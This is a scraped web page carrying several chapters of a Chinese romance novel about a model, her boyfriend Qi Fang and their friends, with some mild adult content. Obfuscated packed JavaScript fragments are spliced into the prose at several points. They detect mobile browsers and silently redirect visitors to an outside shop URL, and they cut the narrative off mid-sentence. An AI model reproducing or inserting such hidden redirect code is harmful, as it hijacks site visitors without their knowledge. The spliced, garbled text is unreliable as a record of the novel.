d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966573|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁放两手撑着床,在她脸上亲了下才去洗漱买饭。 听到关门声,付轻屿才睁开眼,稍微缓了下,起床洗漱。走到卫生间,牙膏已经挤好了。 付轻屿看着祁放用过的牙刷和一次性杯子,确实得去趟超市,多了个人,有好多东西要买。 吃饭时,祁放收到消息,陈昊飞推给他了几个短视频软件,帮东叔做宣传用。 祁放下载软件,注册好,举过手机问付轻屿,“你有这几个软件吗?我关注你。” 付轻屿点头,“怎么突然想起下载这些了?” 祁放一五一十地说完,付轻屿把手机递给他,让他自己弄。 付轻屿接回手机,想要给他也按个关注,结果祁放早弄好了。 付轻屿账号内容不多,有几条风景视频,剩下的全是美照。祁放看着评论区,气得牙痒痒,想给他们挨个回复——有男朋友了,都滚开,滚远点! 祁放丢开手机,没头没尾地问:“付轻屿,你喜欢我吗?” 付轻屿已经习惯他会突然跳频,平静地点头,“喜欢。” 祁放追着问:“有多喜欢?” 付轻屿看他,“说不上来,就是喜欢。” “算了,不问了。”祁放扒拉两口饭,又忍不住说,“你那账号评论,忒烦人。” 付轻屿没忍住笑,她还纳闷怎么突然晴转阴了,原来问题出在这。“没事,不去看就好了。” 祁放说:“你看看就好了,不能回复他们。” 付轻屿点头应下。 祁放阴沉个小脸,逛了趟商场,一听付轻屿要给他置办点日常用品放家里,尾巴瞬间翘上天。区区几条评论而已,付轻屿都不理他们,还想跟他比?根本就没得比好嘛。 付轻屿负责选,祁放结账,屁颠屁颠地拎着东西回家,马不停蹄地布置好,生怕下一秒付轻屿不让他放了。 祁放归置好东西,绕了一圈,在厨房找到付轻屿,“漏水了?你怎么不叫我?” 付轻屿两条袖子湿哒哒的黏在身上,裤子也湿了一片,“水槽下面的管子坏了,你别过来,弄一身。” 祁放急忙上前给她拽起来,“我弄,你去换身衣服,一会该感冒了。” 付轻屿不想让他经手,祁放不听,蹲下身子就开始摆弄。 “那个白色的小管,你给它抬起来,往里面送就行。这根管子短,压不住水,容易窜出来。”付轻屿生活经验丰富,最开始租房贪便宜,什么样的难题都碰到过,练出来了。 “你快去换身衣服,一会着凉了。”祁放弄好后,转头看她,不免有些心疼,又气付轻屿不叫他,“好了,我要拖地,你快去换。” 湿衣服黏在身上确实不好受,付轻屿换了身睡衣,祁放已经把厨房收拾好了。 祁放收拾冰箱,见付轻屿过来,又问:“你怎么不叫我?” 付轻屿没当回事地说:“不是什么大工程,一个人能弄好。” “什么叫一个人能弄好,我这么个大活人是摆设吗?下次记得叫我。”祁放拿胡萝卜指着她,不容反驳道,“我是你男朋友,下次必须叫我。” 付轻屿无奈笑了下:“好,叫你叫你。炒鱼香肉丝吗?” 听她应下,祁放才收回胡萝卜,“你想吃吗?想吃就炒。” 付轻屿点头,跟他一起收拾菜。 祁放突然想起远在隔壁单元的颜泠,“不知道我姐有没有事,要叫她过来吃饭吗?” “不用,这个点,她起不来。” 43. 43 付轻屿把家里收拾得井井有条,东西不多,一目了然。 祁放逛到书房,东侧靠墙一面做了个木质长桌,从南通到北,差不多四米长。付轻屿买的木板木条,自己动手攒的,性价比高,也方便拆卸,搬家时能带走。 桌上多半是空闲的,祁放小心思一转,将付轻屿送他的显示屏拆开,摆了个大尺寸的。 做着先斩后奏的事,等忙活完,祁放又跑到付轻屿面前装乖,推着人往书房走,“我放了个东西,你看看行不。” 付轻屿被推到书房门口,一眼看出差异,“放在这,可得交租金,不能白给你看着。” “交,那些牙杯毛巾什么的,都得交。”祁放知道付轻屿逗自己,成心问她,“我用交租金吗?” 付轻屿在他额头轻轻弹了下,“男朋友就免了。” 祁放心里美,哼着歌在书房收拾,寻思着还能在哪放些东西。 付轻屿窝在沙发上看书,祁放就在家里瞎逛,恨不得连下水道都钻进去看看。光看哪能够,他还得动手留带点痕迹。 阳台上养着几盆绿植,两棵吊兰是房东留下的,付轻屿搬进来时,只剩芯是绿的,养到现在,垂下来不少吊枝。祁放给吊枝两两牵手,又给山乌龟编了个小辫。 付轻屿时不时抬头瞧一眼,看看他在瞎胡闹什么,看完又摇着头笑。 祁放一身使不完的劲,看什么都新鲜,连带将她一潭死水的日子搅活了。 付轻屿不喜欢房子太大,显得空,看着祁放瞎晃,又觉得房子太小了,不够他转悠。 祁放巡视完,拿着平板窝到付轻屿身旁画画。 两人挤在沙发上,各干各的,祁放画累了就捞过付轻屿亲几下,腻歪了一下午。 晚饭后,付轻屿将祁放送回学校,给颜泠拨了个电话,“醒了吗?” 颜泠小声“嗯”了下,伸手摸李杨额头,还是有点烫。 李杨没醒,感到额头的凉意,微微蹙了下眉。 颜泠给他盖好被子,走出房间才开始说话,“吃饭了吗?” “吃了,”付轻屿说,“不介意再陪你吃一顿。” “烤肉吧,一天没吃饭,快饿死了。”颜泠随便找出两件衣服,“祁放回去了?” 付轻屿:“刚把他送回去,我去接你。” 颜泠应了声好,挂断电话,回到卧室给李杨吃了粒退烧药,“睡吧,我去吃饭,顺便给你带点饭和药。” 李杨脸颊泛着潮红,跟昨晚不同,这纯粹是发烧后的反应。他缩进被子,蚊子似的“嗯”了声,脑袋昏昏沉沉的,不愿多想。他也没打算溜走,稍微动一下,全身都要散架,特别是腰部以下,基本上可以说是废了。 颜泠没什么事后关怀,平常都是爽完就走,这次算是突发情况,破天荒地带饭带药,还让他在自己床上继续睡,也够意思了。她看了看李杨,总比这狗之前突然闹决裂够意思。 付轻屿见到颜泠,也没兜圈子,开门见山地问:“把李杨带回来了?” 颜泠拉着安全带的手停在胸前,一脸惊讶,“你怎么知道?” 付轻屿笑:“祁放说你家里有男人,左想右想,实在想不到还能是谁。” “祁放这个小兔崽子。”颜泠没想瞒着付轻屿,“李杨这脑子,挺傻了,以前没觉得他这么好糊弄。” 傻的可不止一个。付轻屿笑:“我怎么不觉得李杨傻,他傻吗?” 颜泠一摆手,“他不傻能让我骗到床上吗?脑子跟没开窍一样,亏他还是个律师。” 付轻屿叹气,车子开出几百米了,突然想起来问:“李杨还在你家吗?” 颜泠嗯了声。 付轻屿问:“不叫他一起吃饭?” 颜泠轻咳一声,“他、他还睡觉呢,有点发烧。” “发烧了?”付轻屿瞧她一眼,“你是不是弄的太过了,不带他去看看?” 颜泠:“没事,我一会给他带点药,实在不行再去医院。” 付轻屿嗯了声,也不好多说别的。“你俩算是在一起了?” “玩玩,不想谈,麻烦。”颜泠啧了声,“我总不能为了一棵树放弃整片森林吧,再说,我也不可能喜欢他啊。玩玩都麻烦,还发烧,得照顾,太脆了,别人哪有过这种情况。” 对付轻屿来说,李杨肯定不如颜泠重要,但是,好歹这么多年的朋友,替他说句话,还是说得着的。 付轻屿揉了揉太阳穴,“有没有一种可能,别人都不给你往死里玩啊。你说得没错,李杨就是傻,由着你折腾。” 颜泠:“……” 确实,李杨就是嘴硬两句,不管她要做啥,都给做了。第一次就弄了一晚上,不发烧才怪。 颜泠不愿再想,“哎呀,不说他了,烦人。你跟祁放咋样了?” 见颜泠不愿多说,付轻屿也不再问,心里暗叹,这两人啊,有的折腾。 付轻屿言简意赅,“挺好的。没做。” 颜泠一脸不可置信,“忍者啊你。” 付轻屿摇头笑笑,“慢慢来呗,不想逼他,两人在一起又不是只为了这档子事。” 颜泠拍她大腿,笑着说:“哎,你这话说的,怎么感觉在点我呢。” 付轻屿也笑:“我可没有,你又没跟人在一起。” 到烤肉店,这个话题就止住了。 付轻屿没怎么动筷,苦练烤肉技巧,“这一阵没工作安排?” 颜泠饿得不行,手上卷起烤到冒油的五花肉,边吃边说:“手里有一个剧本,开机时间还没定,戏份不多,算是女四?还有些杂七杂八的工作安排,没啥急事。” 付轻屿点点头,“那还行。” 颜泠咬了口烤菠萝解腻,“这个剧本,听说冯适接了男二的角,啧,幸亏没有几场对手戏,看见他我就来气。男人出圈真是快啊,搞不懂,随便了。” 付轻屿卷了个烤肉包,给她喂嘴里,“行了,都过去了,跟他生啥气。给你气坏了,我怎么办?” 颜泠嘴里塞着烤肉,含糊不清道:“你不是还有祁放吗?” 说完,颜泠心里突然开始不得劲,急忙嚼碎往下咽,“要是祁放也在这,你卷了烤肉,先给谁吃?” “哇,这么难的题吗?”付轻屿笑,“我先给自己吃。” “行吧。”颜泠撇嘴,“哎,不是,一想到这个画面,我胜负欲就上来了。” 付轻屿忍不住笑,“先给你吃,第一个给你吃。” “屁,你跟祁放肯定也这样说。”颜泠摆手,“算了算了,说正事。青峰卫视的海选,咋样了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966574|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说呢?”付轻屿将烤熟的肉都夹到她碗里,“不是吧,对我这点信心都没有?” 颜泠:“我就客套一下,海选什么时候结束?” 烤肉工作完毕,付轻屿停手,喝了口果汁,“一个月左右。” “干等一个月?有别的工作安排吗?” “奇亚的拍摄,前两天拍了两组图。”付轻屿回忆拍摄现场,不由感叹,“我以前觉得IKI的拍摄就够正式了,签了奇亚才发现,一山更比一山高。想想最开始拍平面,只有店铺老板、摄影、化妆师和我,有的时候连化妆师都没有。现在,从美术策划到制片灯光,乌泱泱的一圈人。” “熬过来了。”颜泠说,“一提奇亚,我先想到的不是衣服首饰,而是沈则序。这人太有讨论度了,营销号都得给他磕一个。” 付轻屿点头,“确实。” 颜泠吃饱喝足,长呼一口气,“订婚的消息一出,营销号盯他盯得更紧。再抓到点什么,可就不是花花公子的头衔了,只会更劲爆。” 付轻屿点头。从网上看,沈则序消停不少,是不是真消停了,可不好说。 颜泠找了家粥铺,打包些清淡饭菜,又去药店买药。付轻屿也跟着屯药,以备不时之需。 颜泠笑她:“你连指套都没买,倒先买上药了。” 付轻屿:“这可不分先后。” 付轻屿揣着药回家,进门一片漆黑,开灯的声音显得格外响亮。祁放一走,家里没热乎劲了,付轻屿四处逛了圈,有点不习惯。 温柔乡里走一遭,她这心中缱绻难舍,也不耽误磨刀擦甲,整装上阵。 奇亚商拍现场—— 付轻屿闭目养神,任由妆造老师在她脸上涂抹,只听化妆间外传来一小阵骚动。 一旁的模特开口询问:“外面怎么了?” 化妆助理跑到门口瞧了眼,习以为常道:“小沈总来了。” 另一位模特小声问:“小沈总?沈则序吗?” 化妆师点头。 “小沈总是来视察工作?” 化妆师语气平淡:“视察谈不上,估计是没意思了,过来玩玩。” 化妆间三言两语,借着小沈总到来的话题,讨论起拍摄。 奇亚这一季度的衣服展示了优雅与野性并存,有几个款式,付轻屿还蛮喜欢的,考虑入手。 付轻屿本来就带点混血感,化完妆后,美得太有攻击性。 换好第一套衣服,制片助理带几位模特去拍摄现场,大概讲了几句流程。 沈则序确实对得起花花公子的头衔,眉眼深邃,笑容肆意,神情中又透出股玩味,站在人群中更显得放荡不羁。 付轻屿等着拍摄,并不打算过去寒暄几句,其他几位模特都没动作,应是差不多的想法。 沈则序在现场晃悠,漫不经心地走到她们身边,先是讨论衣服,再到拍摄构景,顺带几句不走心的撩拨。他说话拿得住分寸,既不会显得油腻,又能让人意识到几分轻浮,绝无真心可言。 付轻屿混迹在几位模特中,装傻充楞,就当从没收到他孔雀开屏的消息,期盼彼此相安无事,相忘江湖。 “付、轻、屿。” 沈则序笑着,一字一句念出她的名字,“果然,闻名不如见面啊。” 44. 44 “确实,闻名不如见面。”付轻屿顺带回了个浅笑。 沈则序不是傻子,让自己下不来台的话,肯定只字不提。只要他不提,付轻屿就当没发生过,顺带看看这只花孔雀想干什么。 沈则序似是没料到她的回答,轻浮地挑眉道:“看来,付小姐对我有些了解。” 付轻屿浅笑:“网络上,小沈总名气太燥,不想了解都难。” 沈则序哼声一笑,“网络上那些啊,怪不得。” 其余几位模特面面相觑,没人出声。制片助理中间插一嘴英文,叫惠莉开始拍摄。 惠莉是一名外籍模特,金发蓝眼,听完应了声。 沈则序目光落到她身上,“Prettygirl,thisdressbesbeautifulbecauseofyou。” 惠莉看他一眼,笑容明媚:“Oh!谢谢,可以说普通话,我听得懂。” 沈则序嘴角擒笑,毫不客气道:“你这普通话还得练,有口音。” 付轻屿:“……” 惠莉没搭理沈则序,转身投入拍摄。 付轻屿以为话题就此转移,没想到沈则序又杀了个回马枪,“付小姐,我看过你主持的节目,很有意思。” 这人到底想要干什么?付轻屿心里疑惑,面上客气道:“谢谢。” 沈则序漫不经心地笑,“你也很有意思啊。我一个朋友参加过你的节目,他说,你在节目中对他伸出援手时,简直就是天使。今天一见,我觉得他说的没错。他还追过你,有印象吗?” 属实没印象了。 对于不重要的事,付轻屿有自己的清理系统,定期清扫,永久删除。追过她的,好像有几个,都记不清谁跟谁了。 付轻屿面上浅笑,“没印象了,录制节目,难免会碰到突发情况,都是主持人该做的。” “啊,那真是可惜啊,他当时很喜欢你呢。”沈则序嘴上说着,脸上可没有半分可惜的神情,甚至还有些幸灾乐祸的意味。 “……”付轻屿浅笑回应。 看出付轻屿不想多说,沈则序像是找到了心爱的小游戏,一时间不打算停手,“当时,我被他念得耳朵起茧,也看了看你的节目,确实有意思。不过,我还有点好奇,你把助人为乐说得这么简单,为什么不喜欢接受别人的帮助呢?” 付轻屿表情管理失控一秒,蹙了下眉头,很快又调整过来,只是笑笑:“我不太懂小沈总的意思。” 沈则序也笑,“是吗?是真不懂吗?我还以为,我们是一类人呢。” 付轻屿挑眉,“我们吗?” “不是吗?” “不管从哪个层面来看,我们都不像一类人。”付轻屿盯着他,“就像现在,我只是个打工的,而小沈总的地位,不用我多言。通过工作了解一个人,很容易产生误会。” “啊?是这样吗?”沈则序语调浮夸,又往付轻屿身边倾斜了下,用近乎只有两个人能听见的声音,带着分不清善恶的笑意,“享受掌控欲,高自尊,想独立任何体系而存在,我还以为你跟我一样呢?” 付轻屿呼吸一滞,头脑似乎进入了短暂的空白。沈则序在分析她的行为和心理?他到底想干什么? 沈则序撤开距离,用一种玩世不恭的神情看她,想在她身上找到些证据,验证自己的想法。他像一只离经叛道的孤狼,受够了永无止境的虚妄,迫切想要找到同类,一起哀嚎两声。 付轻屿并没给他这个机会。她神情近乎平淡,语气也没沾染一丝情绪,“分析别人很没意思,也不可能完全正确,人甚至不能精确地分析自己,不是吗?你分析自己,迫切给自己贴上几个标签,好像能在人群中找到归属感一样,等到行为与标签不符时,再打上几个补丁,有意思吗?很痛苦吧。” 沈则序不知道被哪句话击中,神情呆愣片刻,又笑着说:“不愧是主持人嘛,伶牙俐齿,有意思。不过,我更觉得我们是同类了,亲爱的变色龙小姐。当然,变色龙小姐是我对你的爱称,你如果不喜欢……那就不喜欢吧。” 付轻屿:“……” 还爱称,真是谢谢你哦。 沈则序差不多玩够了,笑着说:“你也可以给我起个爱称,嗯,你应该会叫我花孔雀先生吧。” 付轻屿笑了下,“……” 不,神经病更适合你。 “下次再见吧,我很期待呢。”沈则序说着,眼神扫视,已经盯上下一个搭讪目标。他走出两步,又回头问了句:“对了,你掌握自己的话语权了吗?” 付轻屿彻底愣了下,回忆像是团层层裹绕的旧衣服,沈则序抓住线头,猛地撤出一件。是啊,对自己对他人对社会,她掌握自己的话语权了吗? 三年前,做主持人时发出的疑问,终于砸在了自己身上。 付轻屿看了沈则序一眼,没说话。这家伙把她的陈年老底都扒出来看了。 沈则序真心笑了下,“看来还没有啊,祝你好运吧。我是不行了。” 他走到一位年轻的化妆师身边,还是轻浮的语气,不走心的撩拨,脸上挂着半撩不撩的笑意,肆意享用自己的美貌和权力。 付轻屿看他,花花公子的目光不断向新鲜事物探索,享受被追捧,追求一种征服欲罢了。果然都是面上功夫,订婚后,网络上是消停了,现实里照玩不误。 沈则序这种人还算好对付,至少目前看来,除了花心和不学无术,没什么坏毛病,不仗势欺人。拍摄上遇见,顶多是打打嘴架,正巧她也擅长。 制片助理唤了付轻屿一声,准备拍摄。 付轻屿收回思绪,打了个喷嚏。还是要当心,跟这话题中心沾上边,麻烦。 “今天要去IKI拍摄,等明天上完课我就回去。”上周末有事留校,祁放已经两周没见到付轻屿了,也顾不上前面两个没走远的舍友,对着电话那头小声黏糊,“我都快想死你了,你想我没?” “想了。”付轻屿声音沙哑,说完没忍住咳嗽两声。 祁放警惕性瞬间拉高,“你感冒了?” 付轻屿“嗯”了声。 祁放一着急,心里那股横冲直撞的劲就压不住了,“是发烧了?还是怎么了,你怎么都不跟我说啊。” 付轻屿哑着声音笑了下,“前天有点发烧,昨天就退了,嗓子有点发炎,没啥大事,吃着药呢。” “前天就发烧了!”祁放一听,浑身不得劲,心疼和烦闷互掐,狠狠在他心里打了架。“嗓子还疼吗?听声音都哑成这样了,生病了昨晚还不早点睡。你感冒发烧怎么也不跟我说啊。” 平常付轻屿没话题分享就算了,祁放也能理解,可能工作上的事,确实没啥好说的。 现在连生病都不跟他说,这还是谈恋爱吗? 这谈得也太生分了吧? 付轻屿没当回事,哑着嗓子笑,发出的声音像唐老鸭嘎嘎嘎,“跟你说了就能好吗?我这么大了,也不是小孩,生病了知道打针拿药。” 祁放停住脚步,气往下走,腿上跟灌了铅一样,“你跟姓冯的,就是这么谈的恋爱啊?” 付轻屿不知道他又想哪去了,这是吃了哪门子飞醋? 祁放叹气,“他可真是个王八蛋啊。” 付轻屿笑,“突然提他干什么?” “我才不想提他。”祁放又问,“我要是生病了,不跟你说,你会怎么样?” 付轻屿一愣,笑容瞬间散了,“你为什么不跟我说?” “你为什么不跟我说?”祁放看手表,抬腿赶路。 付轻屿耳边是祁放沉重的呼吸声,她发烧烧的脑袋不好使,半天才反应过来祁放拧的什么劲。“你是、你是不是生气了?” 不知道是唐老鸭的嗓音太魔性,还是这个问题撞到了祁放的脑后路,他没忍住笑了声,“没,我没生气,我生什么气。你不想说就不说,我也不能掰开你的嘴,非让你吐两字。” 付轻屿:“等下次,我记得通知你一声。” 祁放是真气笑了,“别,可别,您没事别生病就行,省的我心里惦记您。” 付轻屿听到祁放坐上车,报了手机尾号,“不说了,你先去拍摄吧。” 祁放:“嗯,你好好休息。参赛准备,少做一天也没事,你这么厉害,不差这一时。” 付轻屿笑着应下了。 挂断的电话,弹出条付轻屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到拍摄完成,祁放再次走进化妆间,也没想好法子。 “一会让他收拾就行。” “反正那边收尾的工作都是他在做,推给他就好了。” “会不会不太好。” “有什么不好的,本来收工就晚,再收拾完得什么时候,反正我要先走了。你们愿意留下干,随便你们。” 几位化妆师没指名道姓,祁放也能听出来,这话里的‘他’指的就是年燧。 这算职场霸凌吗?听着让人好不爽啊。 祁放还思索着,年燧从他这边的小门进来了。祁放抬头,透过镜子看到那几个化妆师想要开口,他这嘴就不受控地出声了,“年燧,我跟老莫说了,今天借你一会,早点走。有个其他活动,我姐说想找你帮忙。” 年燧一听付轻屿的事,一点没犹豫。 几位化妆师听到这事,也没说别的,硬生生将刚才的话都咽下去。年燧还客客气气地跟他们说了声先走。 祁放带年燧离开摄影棚,烦躁地挠了挠头发,“付轻屿没事,我瞎说的,他们总给你找活干?” 听完一句话,年燧愣了两下,很快反应过来,“谢谢。也没有经常。” 祁放看他,“我刚才的话,是替付轻屿说的,她在这肯定也会这样做。” 年燧抿着嘴点了点头。 祁放蹙眉,收回视线。年燧这人挺割裂的,发色耳钉穿搭,看着没有一样是好惹的,偏偏人是个软柿子,说话也闷。 “被欺负了,要学会反击啊,你这样,他们只会越来嚣张。”祁放没看他,帮情敌,感觉良知和情绪在打架,整个人都快裂开了,“这话也是付轻屿会跟你说的,听着吧。” 年燧又点了点头,“谢谢。” 祁放没看他,脑袋突然冒出一句话,也就随口说出来了,“我和付轻屿没有任何血缘关系。” 年燧愣了下,很快反应过来这句话的另一层意思。他嘴巴张了张,最后也没出声。 祁放长呼一口气,心里舒坦了,“付轻屿说,你跟老莫都是他的朋友。老莫大嘴巴,这秘密就只告诉你了。” 年燧呆愣得点了下头,“我不会乱说。” 祁放“嗯”了声,抬腿离开,“我走了。下次在遇到这样的情况,试会反击,心里可能会舒服很多。” 45. 45 祁放顺路买了点橙子和雪梨,想着煮个汤,给付轻屿养养嗓子。 上次回学校时,付轻屿给祁放配了把钥匙,方便他回来。 钥匙不大,祁放手里捻着把玩,心里美。他蹑手蹑脚打开门,见客厅没开灯,想着付轻屿早早休息了,心里有股莫名的欣慰。 祁放用手机照亮,将东西先放进厨房,顺便洗了把手,又悄悄摸摸跑到卧室。 祁放小心翼翼打开门,床上没人。他退出房间往书房看了眼,也没开灯。 出去了?难道是去医院了? 祁放拨打电话,顺手按开客厅的灯,铃声在书房响了。 “怎么了?”付轻屿坐在电脑前整理资料,全然没注意到客厅的动静。 “我女朋友呢?卧室没人,厕所没人,不会……”祁放一手推开书房门,“不会还在拼命工作吧,我家病号。” 书房漆黑一片,只有电脑的光亮映在付轻屿脸上,展现她万般吃惊的表情。 客厅的光亮打在祁放身上,强烈的明暗对比下,仿佛是个剪影立在门口,快要顶到门框的个头,宽肩窄腰,一手撑胯,漫不经心的站姿。 付轻屿呆愣着,发烧烧出一脑子废料,她竟想着祁放的身材,厚乳肯定绝了。 当然,脐橙也行,不过祁放大概率不会给她做。 祁放:“我开灯了,你先闭眼。” 付轻屿闭眼又睁开,祁放一张帅脸摆在那,带点嗔怒的表情,更劲了。她想了下,其实面面相对也蛮不错的。 付轻屿看他走过来,连忙甩开脑子里的黄.色废料,“明天不是有课吗?怎么现在回来了?” “来抓你。”祁放站到她身后,俯下身将人环住,看了眼整理好的资料,“就知道你不好好休息。” 付轻屿被祁放围在怀里,感觉周围都是他那股热乎气,“我没事,就是嗓子还有点炎症。睡也睡不着,不如增加些知识储备,好打场胜仗啊。” “还没事呢,你都变成唐老鸭了。”祁放说,“我去给你煮点喝的,等喝完就去休息。” 付轻屿:“怎么?变成唐老鸭,你就不喜欢了?” 祁放笑:“喜欢,别说变成唐老鸭,就算你变成烤鸭我都喜欢。” 付轻屿拍开他,“我看你是饿了。” 祁放笑着往外走,“快弄吧,最多最多,再给你半个小时。” 付轻屿目送祁放出去,心思也被勾走了。她整理好文件,转头钻进厨房。 祁放一身酷哥穿搭,系着付轻屿的小花围裙,莫名有些喜感。 付轻屿晃悠到祁放身后,伸手给人抱住,先是检查腹肌,又故意蹭他腰侧的痒痒肉。 祁放被她弄得来回躲,没什么脾气地吓唬道:“我切梨呢,你再玩,我今天高低得见点血。” 付轻屿侧过身子瞧向案板,开始往上摸索,手指去找小果子。 祁放被她捏得一激灵,声音都颤了,“你干嘛?” “不干什么,好久没见了,想你。”付轻屿语气平淡,手上轻拉慢捻,时不时用指尖滑一下。 祁放忍着身体异常,切水果的动作放慢,“你怎么总喜欢弄这里?” “也可以弄别的地方,”付轻屿在他耳后低语,“没感觉吗?” 祁放起了层鸡皮疙瘩,感觉很奇怪,付轻屿手上的动作,总能激起小腹一阵阵酥麻,连带一股莫名的爽感沿着脊椎上窜。 祁放不语,承受着付轻屿的揉捏,下意识有点弓腰。他面上强装淡定,将切好的橙子和雪梨放在锅内,又加了两块冰糖。 付轻屿又问:“真没感觉吗?” 祁放:“感觉快被你扯下来了。” 付轻屿笑笑,手上老实了,单纯从背后抱着他,没再有其他动作。 果然,这个姿势的话,两人有身高差,祁放要将腿叉开不少。那样会站不稳吧?付轻屿想了下,他可以撑着桌子、落地窗、浴室墙面、洗手台、灶台面…… 实在不行,她还可以从背后抓住他的两条手臂。 “二十分钟差不多。”祁放定上时,给付轻屿从身后扒拉下来,“生病不跟我说,让你早点休息也不听,这男朋友怎么就跟摆设一样。” 付轻屿笑地咳嗽两声,“一天了,你这气还没散呢。年轻气盛,说的是生气的气啊。” 祁放给她递了杯热水,“你还笑。” 付轻屿想亲他,手都按到人后脖颈了,才想起自己病没好,只能无奈地松开手。 祁放不管这些,低头在付轻屿唇上亲了口。 付轻屿伸手抵在身前,防止祁放偷袭,“感冒还没好,传给你咋整。” 祁放就喜欢在些小事上张牙舞爪,付轻屿越不让亲,他越起劲。 付轻屿看祁放微微点头,挡在身前的手刚撤开,嘴唇就被堵上了。 她手里的杯子一晃,撒的满手是水,下意识想开口,就被祁放这狗东西钻了空子。 祁放托着付轻屿的后脖颈,一手摸索到杯子,接过来放到台面上,还不忘卖力地掠夺她嘴里的空气,要把每一处都品尝到位。 付轻屿没什么力气反抗,也就放任自己享受了。祁放现在的吻技不差,毕竟是她一手调教出来的,自己用着也爽。 祁放撤开时,付轻屿感觉有些腿软,顺手在他腰上掐了两把。 祁放心满意足地哼了声,亮出小獠牙,带点威胁的味道,“万一下次再生病,跟不跟我说?” “说,跟你说。我都不去看医生,第一个告诉你,行了吧?”付轻屿拍他胳膊,“瞎闹腾。” 祁放捧着她的脸不放,又嘬了几口。 付轻屿笑着躲:“你都把口水嘬我脸上了,小脏狗,快起开。” “我不。”祁放较劲似的,紧紧捧着她的脸,放肆地叼了小口,湿热的舌尖跟着蹭了下,留下两个浅浅的小牙印。 祁放刚才舔了一下? 付轻屿被他整懵了,摸了摸脸,满眼吃惊:“你这些坏毛病都是哪来的,说你是小狗,你还真舔啊。” 祁放以为付轻屿生气了,又装出可怜吧唧的样儿,“你干嘛呀,我不小心蹭到一下,你嫌弃我啊?” 付轻屿擦了擦脸,“没有。” 祁放两手放开她,不爽道:“还说没有,你都擦脸了。” 嫌弃真谈不上,付轻屿就是被他整懵了,下意识擦了下。“你把口水弄得到处都是,还不让擦了?” 祁放本来没想怎样,看付轻屿擦脸,瞬间邪气上头,想给她全身上下亲一遍。 “你以后也不准咬,”祁放指着自己的胸口,他知道付轻屿喜欢玩这里,故意气她,“以后,你的嘴不能碰这,你碰了,我也擦。” 付轻屿笑得不行,不想跟面前的‘小学生’打嘴架,“好好好,那你擦吧。” “你真烦人。”祁放转身去看锅里的汤。 付轻屿不走,站在一旁烦人地逗他。锅里冒热气,祁放经不住挑逗,全身燥热,也快开锅了。 祁放跟付轻屿讲拍摄的事,主要是想说年燧,还有他跟年燧说的话。 “做得真棒。”付轻屿听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966576|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺带呼噜他的头发。 祁放瞪她,语气却带着笑意,“你训狗呢。” 付轻屿挑眉,“你是小狗吗?” “我才不是小狗。”祁放以为付轻屿听了会不开心,没想到她是这个反应,心里一下子就痛快了,又傲气地说,“我是你男朋友。” 祁放盛了满满一碗雪梨橙子汤,端到茶几放下。 付轻屿喜欢窝在茶几和沙发中间吃东西,说不清何时养下的小习惯。 祁放靠着付轻屿坐下,“酸吗?” 付轻屿摇头,“还成。” “梨也得吃了,别剩。” 付轻屿点头,“唠唠叨叨的。” 祁放哼一声,“你要敢嫌我烦,我还咬你。” 付轻屿转头给祁放塞了块梨,手动噤声。 祁放吃完,安静守了两分钟,“再过几天,我要去参加插画比赛,等最后评审时,你能不能陪我一起?一天,就最后一天,我想你跟我一起。” 付轻屿问:“又去参加比赛?” 祁放总是说付轻屿太爱工作,其实,他也是个闲不住的,每天规划得满满当当,二十四小时能掰成四十八小时过。 付轻屿看着祁放,不由蹙了下眉头。学业、比赛和模特兼职,有时候还接个画稿,更不要说日常打个球,顺带搞搞音乐,他这是什么酷跑生活模式? 祁放伸出去的食指弯下半截,“半天,半天也行。万一我能拿奖呢,你不想看看吗?” 海选结束前,付轻屿手上没啥工作,时间肯定是有的。 “感觉自己能拿奖?” “这事可说不准,”祁放笑,“你在的话,会更开心。行不?” 付轻屿在他鼻尖勾了下,“这样啊,准了。” 祁放揉揉鼻尖,抬下巴示意她快喝,“一会该凉了。” “你还催,我嘴里都快烫出泡了。” 祁放笑着往人面前凑,“我看看,我看看泡在哪呢?啊,张嘴。” 付轻屿胳膊怼他,“我怎么有点想揍你呢?” “你舍得吗?”祁放侧着脸往付轻屿面前送,像在邀请她,打啊,你打啊。 付轻屿看他的臭屁样儿,指着他脑袋使劲往旁边推了把,“留着劲,床上打死你。” 祁放被推倒在地毯上,顺势躺了下去,“就算是床上,你也舍不得。” 付轻屿看他那有恃无恐的劲,轻轻摇了下头。有点美好的幻想,也挺好的,叫天天不应叫地不灵的时候,就知道老实了。 祁放躺了会,又支起脑袋问:“等到清明,你要回家吗?” 付轻屿摇头,说得干脆:“不回。” 